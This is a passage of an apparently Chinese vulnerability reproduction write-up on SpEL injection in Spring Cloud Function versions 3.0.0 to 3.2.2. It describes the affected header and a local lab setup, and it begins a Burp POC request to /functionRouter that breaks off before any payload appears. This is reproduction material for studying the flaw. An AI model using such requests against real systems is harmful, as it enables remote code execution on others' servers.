一:漏洞简介
Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的spring.cloud.function.routing-expression参数作为 Spel 表达式进行处理,造成Spel表达式注入,攻击者可通过该漏洞执行任意代码。
二:影响版本
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
三:漏洞复现
这里使用https://github.com/spring-cloud/spring-cloud-function中的项目进行复现
将该项目clone下来后在idea中导入这个项目:spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo
导入后等待idea下载完成依赖之后直接启动项目,启动完成后访问:127.0.0.1:8080出现以下页面代表启动成功:
然后我们直接上burp
POC
POST /functionRouter HTTP/1.1
Host: 192.168.248.6:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,applica